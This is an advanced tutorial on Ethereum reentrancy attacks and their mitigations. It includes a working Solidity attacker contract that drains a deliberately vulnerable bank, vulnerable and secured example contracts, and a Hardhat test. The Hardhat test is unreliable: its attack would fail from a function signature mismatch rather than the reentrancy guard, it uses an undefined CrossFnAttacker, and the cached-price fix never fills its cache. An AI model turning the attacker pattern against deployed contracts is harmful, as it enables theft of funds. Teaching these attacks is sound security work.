Reentrancy Attacks

Difficulty: Advanced

Reentrancy is the most famous smart contract vulnerability, responsible for the single largest exploit in Ethereum's early history - the DAO hack of 2016, which resulted in the loss of 3.6 million ETH (worth ~$60M at the time) and led to the controversial Ethereum hard fork that created Ethereum Classic. A reentrancy attack occurs when a contract makes an external call to an untrusted contract, and the called contract calls back into the original contract before the first invocation completes. If the original contract hasn't updated its state before the external call, the re-entrant call sees stale state and can exploit it.

The classic single-function reentrancy exploits the withdraw pattern. Consider a contract where the withdraw function first sends ETH to the caller, then updates the balance. If the caller is a contract with a receive/fallback function, that function can call withdraw again before the balance is updated. The second call sees the original (unmodified) balance and sends ETH again, and this can repeat recursively until the contract is drained. The fix is the Checks-Effects-Interactions (CEI) pattern: first check conditions (require sufficient balance), then update state (set balance to zero), and finally make the external call (send ETH).

Cross-function reentrancy is more subtle and harder to detect. It occurs when two functions share state, and an attacker uses one function to re-enter the contract through a different function. For example, if withdraw sends ETH before updating the balance, the attacker's receive function could call transfer to move the still-unmodified balance to another address, effectively doubling their funds. Cross-function reentrancy is not prevented by simply applying CEI to individual functions - you need either a global reentrancy lock or careful analysis of all shared state.

Read-only reentrancy is the newest and most subtle variant. The attacker doesn't re-enter a state-changing function but instead calls a view function on a different contract that reads stale or inconsistent state. This affected protocols like Balancer and Curve in 2023. For example, during a callback from a pool withdraw, the pool's totalAssets is temporarily inconsistent. If a lending protocol reads this value during the callback to price collateral, it gets an incorrect price. Traditional reentrancy guards don't help because no guarded function is re-entered.

The primary mitigations for reentrancy are: (1) the Checks-Effects-Interactions pattern - always update all state before any external call; (2) reentrancy guards - use OpenZeppelin's ReentrancyGuard which uses a lock to prevent re-entry; (3) pull over push - instead of sending ETH directly, let recipients withdraw their own funds; and (4) for read-only reentrancy, use external oracles or block-number checks rather than reading live pool state during callbacks.

Code examples

The Classic Reentrancy Attack

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

// ======== VULNERABLE CONTRACT ========
contract VulnerableBank {
    mapping(address => uint256) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external {
        uint256 balance = balances[msg.sender];
        require(balance > 0, "No balance");

        // BUG: External call BEFORE state update
        (bool success, ) = msg.sender.call{value: balance}("");
        require(success, "Transfer failed");

        balances[msg.sender] = 0; // Too late!
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

// ======== ATTACKER CONTRACT ========
contract ReentrancyAttacker {
    VulnerableBank public target;
    uint256 public attackCount;

    constructor(address _target) {
        target = VulnerableBank(_target);
    }

    function attack() external payable {
        require(msg.value >= 1 ether, "Need at least 1 ETH");
        target.deposit{value: 1 ether}();
        target.withdraw();
    }

    receive() external payable {
        attackCount++;
        if (address(target).balance >= 1 ether) {
            target.withdraw(); // Re-enter!
        }
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

// Attack flow:
// 1. Attacker deposits 1 ETH -> balances[attacker] = 1 ETH
// 2. Attacker calls withdraw()
// 3. Bank sends 1 ETH -> triggers receive()
// 4. receive() calls withdraw() again
// 5. Bank checks balances[attacker] -> still 1 ETH!
// 6. Bank sends another 1 ETH -> receive() again
// 7. Repeat until bank is drained
// 8. Finally, balances[attacker] = 0 (set only once)

This demonstrates the classic reentrancy attack. The vulnerable bank sends ETH before zeroing the balance. The attacker's receive() re-enters withdraw(), which sees the stale balance and sends ETH again. This repeats until the contract is drained.

Cross-Function and Read-Only Reentrancy

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

// ======== CROSS-FUNCTION REENTRANCY ========
contract VulnerableCrossFn {
    mapping(address => uint256) public balances;

    function withdraw(uint256 amount) external {
        require(balances[msg.sender] >= amount);
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success);
        balances[msg.sender] -= amount;
    }

    // This function shares state with withdraw
    function transfer(address to, uint256 amount) external {
        require(balances[msg.sender] >= amount);
        balances[msg.sender] -= amount;
        balances[to] += amount;
    }
}
// Attack: withdraw triggers callback -> callback calls transfer
// to move the (not yet decremented) balance to another address

// ======== SECURE VERSION ========
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";

contract SecureVault is ReentrancyGuard {
    mapping(address => uint256) public balances;

    // nonReentrant on BOTH functions prevents cross-function reentrancy
    function withdraw(uint256 amount) external nonReentrant {
        require(balances[msg.sender] >= amount);
        balances[msg.sender] -= amount; // CEI: effect before interaction
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success);
    }

    function transfer(address to, uint256 amount) external nonReentrant {
        require(balances[msg.sender] >= amount);
        balances[msg.sender] -= amount;
        balances[to] += amount;
    }

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }
}

// ======== READ-ONLY REENTRANCY (Cross-Contract) ========
interface IPool {
    function totalAssets() external view returns (uint256);
    function totalShares() external view returns (uint256);
}

contract VulnerablePriceReader {
    IPool public pool;

    // This reads pool state that may be inconsistent during a callback
    function getSharePrice() public view returns (uint256) {
        uint256 assets = pool.totalAssets();
        uint256 shares = pool.totalShares();
        if (shares == 0) return 1e18;
        return (assets * 1e18) / shares;
    }

    // FIX: Use block-number check or external oracle
    mapping(uint256 => uint256) public cachedPrices;

    function getSafeSharePrice() public view returns (uint256) {
        // Only use prices cached in a previous block
        // Stale by 1 block but immune to read-only reentrancy
        return cachedPrices[block.number - 1];
    }
}

Cross-function reentrancy exploits shared state between multiple functions. The nonReentrant modifier must be on ALL functions that modify shared state. Read-only reentrancy exploits view functions that read inconsistent state from other contracts during callbacks. The fix is using cached/delayed price reads.

Testing Reentrancy with Hardhat

// JavaScript (Hardhat test): Verify reentrancy protection
const { expect } = require('chai');
const { ethers } = require('hardhat');

describe('Reentrancy Protection', function () {
  let bank, attacker, owner, user;

  beforeEach(async function () {
    [owner, user] = await ethers.getSigners();

    const Bank = await ethers.getContractFactory('SecureVault');
    bank = await Bank.deploy();
    await bank.waitForDeployment();

    const Attacker = await ethers.getContractFactory('ReentrancyAttacker');
    attacker = await Attacker.deploy(await bank.getAddress());
    await attacker.waitForDeployment();

    // Fund the bank with 10 ETH from a legitimate user
    await bank.connect(user).deposit({ value: ethers.parseEther('10') });
  });

  it('should prevent reentrancy attack', async function () {
    const bankBalanceBefore = await ethers.provider.getBalance(
      await bank.getAddress()
    );
    expect(bankBalanceBefore).to.equal(ethers.parseEther('10'));

    // Attempt the reentrancy attack
    await expect(
      attacker.attack({ value: ethers.parseEther('1') })
    ).to.be.reverted;

    // Bank should still have its funds
    const bankBalanceAfter = await ethers.provider.getBalance(
      await bank.getAddress()
    );
    expect(bankBalanceAfter).to.equal(ethers.parseEther('10'));
  });

  it('should allow normal withdrawals', async function () {
    const userBalanceBefore = await ethers.provider.getBalance(user.address);

    await bank.connect(user).withdraw(ethers.parseEther('5'));

    const bankBalance = await ethers.provider.getBalance(
      await bank.getAddress()
    );
    expect(bankBalance).to.equal(ethers.parseEther('5'));
  });

  it('should prevent cross-function reentrancy', async function () {
    // An attacker contract that tries to call transfer() during withdraw()
    const CrossAttacker = await ethers.getContractFactory('CrossFnAttacker');
    const crossAttacker = await CrossAttacker.deploy(await bank.getAddress());

    await crossAttacker.deposit({ value: ethers.parseEther('1') });

    // Should revert due to nonReentrant on both functions
    await expect(crossAttacker.attack()).to.be.reverted;
  });
});

This Hardhat test verifies reentrancy protection. It deploys the secure vault and an attacker contract, funds the vault, then attempts the attack. The test confirms the attack reverts while normal withdrawals still work. Always include reentrancy tests in your test suite.

Key points

Concepts covered

Reentrancy, The DAO Hack, Cross-Function Reentrancy, ReentrancyGuard, Checks-Effects-Interactions